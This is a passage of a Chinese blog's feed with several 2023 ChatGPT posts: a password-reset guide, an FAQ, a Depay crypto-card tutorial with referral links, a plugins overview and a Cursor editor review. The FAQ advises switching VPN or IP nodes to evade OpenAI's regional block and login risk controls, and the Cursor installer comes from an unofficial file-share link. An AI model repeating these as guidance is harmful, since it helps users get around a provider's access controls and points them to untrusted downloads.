&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;youchat.html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;html的github地址：https://github.com/lzjun567/youchat&lt;/p&gt;
&lt;p&gt;最后重启 nginx&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;大功告成！&lt;/p&gt;
&lt;p&gt;1、对外暴露自己的key存在不安全因素，如果不是你自己的搭建的服务请谨慎使用&lt;/p&gt;
&lt;p&gt;2、无节制频繁调用API也会导致封号&lt;/p&gt;
&lt;p&gt;3、多人共用一个key也会有封号风险&lt;/p&gt;
&lt;p&gt;最后，再推荐一下咱们的知识星球【ChatGPT运营社】，目前已经超过200人加入。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图片" src="../../images/640-168008020548818.jpeg"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>如何修改ChatGPT的密码</title><link href="https://foofish.net/how-to-reset-chatgpt-password.html" rel="alternate"/><published>2023-03-29T08:44:01+08:00</published><updated>2023-03-29T08:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-29:/how-to-reset-chatgpt-password.html</id><summary type="html">&lt;p&gt;本教程教大家如何修改ChatGPT的密码，如果你的账号是直接登录OpenAI网站的，请按照本指引进行操作，如果你是通过第三方平台（Goole或者Microsoft）账号授权登 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;本教程教大家如何修改ChatGPT的密码，如果你的账号是直接登录OpenAI网站的，请按照本指引进行操作，如果你是通过第三方平台（Goole或者Microsoft）账号授权登录的，请参考文章末尾的常见问题说明。&lt;/p&gt;
&lt;p&gt;第一步：打开ChatGPT的官方网址： &lt;a href="https://chat.openai.com/auth/login"&gt;https://chat.openai.com/auth/login&lt;/a&gt;，点击 Login 按钮&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329084649457" src="../../images/image-20230329084649457.png"&gt;&lt;/p&gt;
&lt;p&gt;第二步：输入邮箱账号后，点击 Continue&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329084724704" src="../../images/image-20230329084724704.png"&gt;&lt;/p&gt;
&lt;p&gt;第三步：点击 Forget Password（确认账号是否正确，如不正确请点击 Edit）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329094618432" src="../../images/image-20230329094618432.png"&gt;&lt;/p&gt;
&lt;p&gt;第四步：点击 Continue，系统会给你的邮箱发送一个修改密码的链接&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329084922842" src="../../images/image-20230329084922842.png"&gt;&lt;/p&gt;
&lt;p&gt;第五步：登录你的邮箱，具体是什么邮箱，取决于你的邮箱账号地址是什么，比如我是用的QQ邮箱，我直接登录QQ邮箱后台，会收到一封OpenAI发给我的重置密码消息。&lt;/p&gt;
&lt;p&gt;点击 Reset password&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329085227250" src="../../images/image-20230329085227250.png"&gt;&lt;/p&gt;
&lt;p&gt;第六步：设置新密码，两次密码保持一致。点击 Reset password 重置密码&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329085337388" src="../../images/image-20230329085337388.png"&gt;&lt;/p&gt;
&lt;p&gt;第七步：重置密码成功后，就可以重新登录了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329085502498" src="../../images/image-20230329085502498.png"&gt;&lt;/p&gt;
&lt;p&gt;常见问题：&lt;/p&gt;
&lt;p&gt;问：可以修改邮箱账号吗？&lt;/p&gt;
&lt;p&gt;答：不可以，无法修改邮箱账号&lt;/p&gt;
&lt;p&gt;问：使用第三方账号登录的，如何修改密码？&lt;/p&gt;
&lt;p&gt;答：如果你是用Google或者Microsoft账号授权登录的OpenAI，请直接登录&lt;a href="https://accounts.google.com/"&gt;Google&lt;/a&gt;或者&lt;a href="https://account.live.com/"&gt;Microsoft&lt;/a&gt;进行密码修改。&lt;/p&gt;
&lt;p&gt;问：OpenAI与ChatGPT是什么关系？&lt;/p&gt;
&lt;p&gt;答：ChatGPT是OpenAI这家公司开发出来的AI聊天服务。&lt;/p&gt;
&lt;p&gt;推荐加入我的知识星球【ChatGPT运营社】，里面不仅有ChatGPT的各种使用教程还有ChatGPT相关的副业案例、创业案例、商业价值分享。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329004710481" src="../../images/image-20230329004710481.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>ChatGPT常见问题汇总（最全）</title><link href="https://foofish.net/chatgpt-common-questions.html" rel="alternate"/><published>2023-03-29T00:44:01+08:00</published><updated>2023-03-29T00:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-29:/chatgpt-common-questions.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;0、什么是ChatGPT&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ChatGPT是由OpenAI开发的一个人工智能聊天机器人程序，于2022年11月推出。它能用中、英文回答你的各种问题，还能帮你翻译、算数学、甚至写代码检查日志。 &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1、问：ChatGPT不fa墙可以使用吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不可以，需要科学 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;0、什么是ChatGPT&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ChatGPT是由OpenAI开发的一个人工智能聊天机器人程序，于2022年11月推出。它能用中、英文回答你的各种问题，还能帮你翻译、算数学、甚至写代码检查日志。 &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1、问：ChatGPT不fa墙可以使用吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不可以，需要科学上网&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2、问：ChatGPT手机、电脑都能使用吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以，ChatGPT是网页端程序，通过浏览器访问，所以手机电脑都可以使用，提前是你的设备支持科学上网&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3、问：普通账号可以使用GPT-4吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不可以，目前GPT-4需要升级Plus才可以使用，Plus会员按月订阅，官方价格是20美元/月。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4、问：我用outlook邮箱登录时显式改账号已锁定怎么办？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果邮箱显示锁定，用自己手机号自己解锁就好。邮箱是提前注册的，gpt是当天注册的，邮箱长时间不登录会锁定，是正常现象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5、问：ChatGPT支持中文吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;支持，直接用中文提问，他就能用中文回答问题&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6、问：ChatGPT有流量或者使用次数限制吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;网页端的聊天没有流量和次数限制，如果你是开发者，使用API调用有次数限制，每1000个tokens需要花费0.002美元，1000 tokens大概是750单词，相当于75万个单词只要15RMB左右&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7、问：登录时出现 &lt;em&gt;OpenAI‘s services are not available in your &lt;/em&gt;country*错误，是什么原因？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329004222263" src="../../images/image-20230329004222263.png"&gt;&lt;/p&gt;
&lt;p&gt;因为Openai在该地区未开放，请配合魔法工具使用并将节点切换日本等地区，香港节点不行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8、问：与机器人对话过程中，出现 something went wrong。 是什么原因？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是因为ChatGPT网站在线人数过多导致的服务不稳定导致的，重新刷新网页就可以&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;9、ChatGPT is at capacity right now&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/75&amp;amp;e=1682870399&amp;amp;s=ttmytyyymy&amp;amp;token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zDgknHzJcMJ3UxlVBS6KDjrr1lYMw=.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;这个问题一般晚上出现的概率大，这时候刚好是美国那边的上午开始上班了，造成的资源挤兑。一般出现在登录的时候，只能等待它恢复正常。如果你的账号已经是登录状态，通常不会被退出，可正常使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;10、We have detected suspicious login behavior and further attempts  will be blocked&lt;/strong&gt; &lt;img alt="img" src="../../images/FmCvu2-mPTvWStUKjBmQZgtmfhwW.png"&gt;&lt;/p&gt;
&lt;p&gt;此为IP网络问题，当前IP被风控，请更换IP，用无痕模式打开新窗口&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FuhFGaCtCzb86nmCNDg1N2Htbduv.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;11、Access denied拒绝访问&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FsZb1YeYswnQJN86rE-SuRjqQvIc.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;12、如何修改chatgpt密码？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;点击-&amp;gt;&lt;a href="https://foofish.net/how-to-reset-chatgpt-password.html"&gt;修改chatgpt密码的方法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;13、Only one message at a time. Please allow any other responses to complete before sending another message, or wait one minute.&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329214032248" src="../../images/image-20230329214032248.png"&gt;&lt;/p&gt;
&lt;p&gt;这种情况可能是一个账号开了多个chatgpt的聊天窗口，一个聊天窗口正在生成内容，在另一个窗口开始新的聊天就会导致上面的问题。还有一种情况是一个账号登录在多个设备上，多人同时在聊天。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;14、 sorry, you hava been blocked&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;you have been blocked 这个问题同样是网络节点原因，换个网络IP节点即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230504155237061" src="../../images/image-20230504155237061.png"&gt;&lt;/p&gt;
&lt;p&gt;推荐加入我的知识星球【ChatGPT运营社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的副业案例、创业案例、商业价值分享。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324013842151" src="../../images/image-20230324013842151.png"&gt;&lt;/p&gt;
&lt;p&gt;更多问题可以加我微信咨询&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FsDuvCdKd-7RtHV-msRFodu9pb0M.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>Depay信用卡申请保姆级教程</title><link href="https://foofish.net/apply-a-depay-credit-card.html" rel="alternate"/><published>2023-03-26T14:44:01+08:00</published><updated>2023-03-26T14:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-26:/apply-a-depay-credit-card.html</id><summary type="html">&lt;h3&gt;什么是 Depay&lt;/h3&gt;
&lt;p&gt;Depay 是一款虚拟货币钱包，它可以管理你的比特币，以太币、USDT等数字货币。在Depay上还可以申请虚拟VISA和Master信用卡，在Depay上支持USDT直接充值到信用卡，这张信用卡可以绑定微信、支付宝、美团直接 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;什么是 Depay&lt;/h3&gt;
&lt;p&gt;Depay 是一款虚拟货币钱包，它可以管理你的比特币，以太币、USDT等数字货币。在Depay上还可以申请虚拟VISA和Master信用卡，在Depay上支持USDT直接充值到信用卡，这张信用卡可以绑定微信、支付宝、美团直接在国内消费，当然还有现在最火的ChatGPT，也可以用Depay信用卡来绑定，这就实现了使用虚拟货币进行日常消费的可能，避免OTC（场外交易）风险。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230326015020563" src="../../images/image-20230326015020563.png"&gt;&lt;/p&gt;
&lt;h3&gt;为什么要用Depay&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;开卡无费用&lt;/li&gt;
&lt;li&gt;月费低&lt;/li&gt;
&lt;li&gt;卡片额度高&lt;/li&gt;
&lt;li&gt;可以绑定微信、支付宝、美团等直接消费&lt;/li&gt;
&lt;li&gt;开通ChatGPT Plus&lt;/li&gt;
&lt;li&gt;订阅MidJourney会员&lt;/li&gt;
&lt;li&gt;可以在aws、azure、googlepay、applepay等消费（薅羊毛必备）&lt;/li&gt;
&lt;li&gt;官方客服基本全天在线&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;注册Depay账号&lt;/h3&gt;
&lt;p&gt;申请Depay的信用卡前，首选要在他们官网注册一个账号，&lt;a href="https://depay.depay.one/web-app/register-h5?invitCode=712088&amp;amp;lang=zh-cn"&gt;点击-&amp;gt;链接直接注册&lt;/a&gt;，可使用手机号或者邮箱注册。注册成功后会让你下载他们家APP，因为信用卡需要用APP才能申请。Android手机可以直接下载APK包，苹果手机需要海外苹果账号才能下载。APP安装完成后，用刚才的账号密码登录，登录后可以将APP设置为中文界面。&lt;/p&gt;
&lt;h3&gt;申请信用卡&lt;/h3&gt;
&lt;p&gt;登录APP后直接申请信用卡，VISA和Mastercard两者都可以申请。卡片分为标准卡、高级卡、白金卡和黑金卡，主要区别在于开卡费用、月服务费和卡片额度以及充值手续费不一样。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230326140045144" src="../../images/image-20230326140045144.png"&gt;&lt;/p&gt;
&lt;p&gt;标准卡0元开卡，但是月费用高，额度低，可根据自己的情况选择，如果你现在开标准卡，后续可随时升级为高级卡，只需要支付相应的开卡费用即可。0元开卡需要完成KYC认证（上传身份证或者护照信息），如果不想认证就选择高级卡或白金卡。提交信息后等待审核通知，通常5-10分钟就会审核通过。&lt;/p&gt;
&lt;p&gt;开卡成功后，如果你手里有USDT数字货币（也可以通过欧易等交易所平台充值USDT，点击这里-&amp;gt;&lt;a href="https://www.okx.com/join/17912936"&gt;直接跳转欧易官网注册&lt;/a&gt;），你就可以把数字货币转到你的Depay钱包，在钱包中可兑换成美元。 实在不行也可以找我进行代充（微信：go2071)&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230326142207335" src="../../images/image-20230326142207335.png"&gt;&lt;/p&gt;
&lt;p&gt;这张卡就可用来绑定支付宝、微信、美团等APP进行日常消费了，最重要的是我们可以用它来升级ChatGPT Plus 会员。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT运营社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的副业案例、创业案例、商业价值分享。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324013842151" src="../../images/image-20230324013842151.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>王炸！ChatGPT 开放插件，新时代的操作系统</title><link href="https://foofish.net/chatgpt-plugins.html" rel="alternate"/><published>2023-03-24T08:49:01+08:00</published><updated>2023-03-24T08:49:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-24:/chatgpt-plugins.html</id><summary type="html">&lt;p&gt;一个好消息，ChatGPT正式开放插件了。 插件的开放，使得ChatGPT有了联网、运行代码的能力&lt;/p&gt;
&lt;p&gt;&lt;img alt="图片" src="../../images/640.gif"&gt;&lt;/p&gt;
&lt;p&gt;过去ChatGPT在遇到一些问题时它会提醒你它的训练数据并不包括这一内容，例如你问它今天星期几这样的简单问题时，它无法给你回答。因 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;一个好消息，ChatGPT正式开放插件了。 插件的开放，使得ChatGPT有了联网、运行代码的能力&lt;/p&gt;
&lt;p&gt;&lt;img alt="图片" src="../../images/640.gif"&gt;&lt;/p&gt;
&lt;p&gt;过去ChatGPT在遇到一些问题时它会提醒你它的训练数据并不包括这一内容，例如你问它今天星期几这样的简单问题时，它无法给你回答。因为它没有联网的能力。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324083038361" src="../../images/image-20230324083038361.png"&gt;&lt;/p&gt;
&lt;p&gt;但是在添加了浏览器插件后，它就可以自主判断什么时间应该从互联网获得更多信息以及如何获取筛选和解读这些数据。将ChatGPT联网后具备的能力包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;访问最新信息，比如体育比分、股票价格、最新消息；&lt;/li&gt;
&lt;li&gt;检索知识库信息，比如公司文件、个人笔记、运行计算；&lt;/li&gt;
&lt;li&gt;代表用户执行操作，比如订机票、订餐。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以前的ChatGPT需要通过指令“模拟”成一个命令行界面运行代码，例如我让它扮演一个解释器，我可以这样跟它说：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想让你像一个Python解释器一样行事&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;他就可以帮你执行代码了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324083853101" src="../../images/image-20230324083853101.png"&gt;&lt;/p&gt;
&lt;p&gt;现在使用Code Interpreter插件后就可以在对话中直接进行Python代码运作。这不是仅仅允许使用者运行python代码那么简单，而是意味着一些复杂问题ChatGPT会自己撰写代码，运行后辅助分析。AI真正会使用代码就像当初动物学会使用工具一样。 &lt;/p&gt;
&lt;p&gt;除了之外，能够通过ChatGPT对话直接通过买菜、预定旅行交通和住宿，自动回复邮件、撰写新闻稿、进行代码Review都不需要人工介入。几乎你在互联网上能做的一切事情ChatGPT都可以去替你做。 &lt;/p&gt;
&lt;p&gt;这一波ChatGPT技术热潮，大势不可挡，但是漩涡里也能涌现更多弄潮儿。&lt;/p&gt;
&lt;p&gt;ChatGPT将颠覆很多行业，程序员、自媒体、记者、会计、教师、律师等等，只要你是干白领的工作，都将面临被AI的改造，那些善于利用AI提效的人，未来将会有很多倍的生产力提升，具备极大地竞争优势，而不会使用AI的普通白领，会面临淘汰的风险。&lt;/p&gt;
&lt;p&gt;所以强烈推荐你加入我们社群，进入社群后希望你可以&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保持对ChatGPT最新发展趋势了解&lt;/li&gt;
&lt;li&gt;学习如何高效利用ChatGPT提升工作效率&lt;/li&gt;
&lt;li&gt;成为最早一批能驾驭chatGPT的少数人!&lt;/li&gt;
&lt;li&gt;早就是优势!  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20230324090226935" src="../../images/image-20230324090226935.png"&gt;&lt;/p&gt;
&lt;p&gt;传送门：&lt;/p&gt;
&lt;p&gt;ChatGPT插件公告及报名表 https://openai.com/blog/chatgpt-plugins
ChatGPT插件开发文档  https://platform.openai.com/docs/plugins/introduction
ChatGPT代表插件Retrieval &lt;a href="https://t.co/IrDKH4syum"&gt;https://github.com/openai/chatgpt-retrieval-plugin&lt;/a&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>一个集成了GPT-4的免费编辑器 Cursor</title><link href="https://foofish.net/cursor-editor.html" rel="alternate"/><published>2023-03-19T08:49:01+08:00</published><updated>2023-03-19T08:49:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-19:/cursor-editor.html</id><summary type="html">&lt;p&gt;每天都被openai震撼到， 他们家被广为人知的产品是chatgpt，就是那个聊天工具。现在已经开始有越来越多的产品集成openai，比如微软的office，bing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;每天都被openai震撼到， 他们家被广为人知的产品是chatgpt，就是那个聊天工具。现在已经开始有越来越多的产品集成openai，比如微软的office，bing。&lt;/p&gt;
&lt;p&gt;现在又一个工具出现，一个叫Cursor的编辑器已经集成了openai的GPT-4，而且还是免费的，它将彻底改变我们写代码的方式。 以前不会写代码先去百度google一下。Ctrl+c，Ctrl+v搞定，我们调侃我们都是CV工程师。&lt;/p&gt;
&lt;p&gt;以后我们恐怕要成为“KL"工程师，为什么叫”KL“工程师呢， 因为只要K和L两个指令就可以直接生成代码、修改代码，哪行代码不会点哪里，他都给你解释得明明白白。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230319003903733" src="../../images/image-20230319003903733.png"&gt;&lt;/p&gt;
&lt;h3&gt;下载安装&lt;/h3&gt;
&lt;p&gt;Cursor编辑器提供了Windows、MacOS、Linux 三个平台的安装包，安装包下载链接: &lt;a href="https://pan.baidu.com/s/1Jh3gIrnjvYTY4QpmXqdD6Q"&gt;https://pan.baidu.com/s/1Jh3gIrnjvYTY4QpmXqdD6Q&lt;/a&gt; 提取码: dt7m &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230319004116280" src="../../images/image-20230319004116280.png"&gt;&lt;/p&gt;
&lt;p&gt;下载安装完成后，会引导你进行初始化设置，你即可以选择VIM或者Emacs的操作习惯，也可以保持默认设置，另外它还支持绑定Copilot。&lt;/p&gt;
&lt;p&gt;我们可以直接用Ctrl+K，输入一个指令：”用Python实现一个猜数字游戏，每次最多3次机会“。 他就会立马直接给你生成好代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guess_number&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;我想了一个1到100之间的数字，你最多有3次机会猜对它。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;请输入你猜的数字：&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;恭喜你，猜对了！&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;你猜的数字太小了。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;你猜的数字太大了。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;很遗憾，你没有猜对。我想的数字是：&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;guess_number&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;一行代码都不用修改可直接运行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="../../images/猜数字.gif"&gt;&lt;/p&gt;
&lt;p&gt;如果你对某一行代码不懂，你只要按住Ctrl+L选中它，然后输入关于这行代码你要问的问题。比如我问 &lt;strong&gt;name&lt;/strong&gt; 是什么东西时，他就很智能的告诉了我。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/1&amp;amp;e=1682870399&amp;amp;s=ttmytyyymy&amp;amp;token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zDssOlR3LRrIL81DZ-O9mOnGc2oBg=.png"&gt;&lt;/p&gt;
&lt;p&gt;不过目前这个编辑器的功能相比vscode还比较简陋，相信很快各大主流编辑器都会集成GPT4&lt;/p&gt;
&lt;p&gt;哎，发现这个世界变化的有点太快，LLMs（大规模语言模型）将开启一次伟大的技术革命。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>伪装成小白，让ChatGPT教我写代码</title><link href="https://foofish.net/use-chatGPT-write-code.html" rel="alternate"/><published>2023-03-17T17:59:01+08:00</published><updated>2023-03-17T17:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-17:/use-chatGPT-write-code.html</id><summary type="html">&lt;p&gt;今天我伪装成一个编程小白，让chatgpt帮我实现一个功能&lt;/p&gt;
&lt;p&gt;需求如下：&lt;/p&gt;
&lt;p&gt;有一个txt文本，文本的格式是 xxx----xxx----xxx，我想把这个txt文件转换为3列的excel表格。如图所示。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230317190327953" src="../../images/image-20230317190327953.png"&gt;&lt;/p&gt;
&lt;p&gt;我希望他能用python代码帮我实现，来看看怎 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;今天我伪装成一个编程小白，让chatgpt帮我实现一个功能&lt;/p&gt;
&lt;p&gt;需求如下：&lt;/p&gt;
&lt;p&gt;有一个txt文本，文本的格式是 xxx----xxx----xxx，我想把这个txt文件转换为3列的excel表格。如图所示。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230317190327953" src="../../images/image-20230317190327953.png"&gt;&lt;/p&gt;
&lt;p&gt;我希望他能用python代码帮我实现，来看看怎么向他提问吧&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230317190439927" src="../../images/image-20230317190439927.png"&gt;&lt;/p&gt;
&lt;p&gt;提问是门学问，你描述得越具体它给出的答案就更准确，就跟你向活人提问一样。从结果上看，他给出的答案很哇塞，你只需要把文件名修改成真实的文件名字就能跑起来，最后它还不忘了提醒你要安装pandas。&lt;/p&gt;
&lt;p&gt;然后，我接着问题，如果不用第三方库，是否能实现？&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230317190840824" src="../../images/image-20230317190840824.png"&gt;&lt;/p&gt;
&lt;p&gt;嗯，非常不错，它推荐我使用openpyxl实现，代码差不多，还贴心的在关键代码处给了注释。但是我不知道openpyxl 是个什么库，我接着问题它&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230317191050048" src="../../images/image-20230317191050048.png"&gt;&lt;/p&gt;
&lt;p&gt;最后我把代码复制到编辑器，安装好openpyxl，修改了文件名，程序没有报错和预期的一样得到了正确结果&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230317190327953" src="../../images/image-20230317190327953.png"&gt;&lt;/p&gt;
&lt;p&gt;这些代码对一个老程序员来说，如果你对pandas和openpyxl这两个库都不熟悉，你一定还是要先百度Google一下来筛选内容。而chatgpt直接给了你一个确定的答案。&lt;/p&gt;
&lt;p&gt;不过，话说回来，如果你真的是一个一行代码都不懂的小白，遇到报错没法定位或者debug时，还是有点难。这就好比一个开手动挡的老司机去开自动挡会非常轻松，如果你驾照都没有就想直接上手自动挡还是非常危险的。&lt;/p&gt;
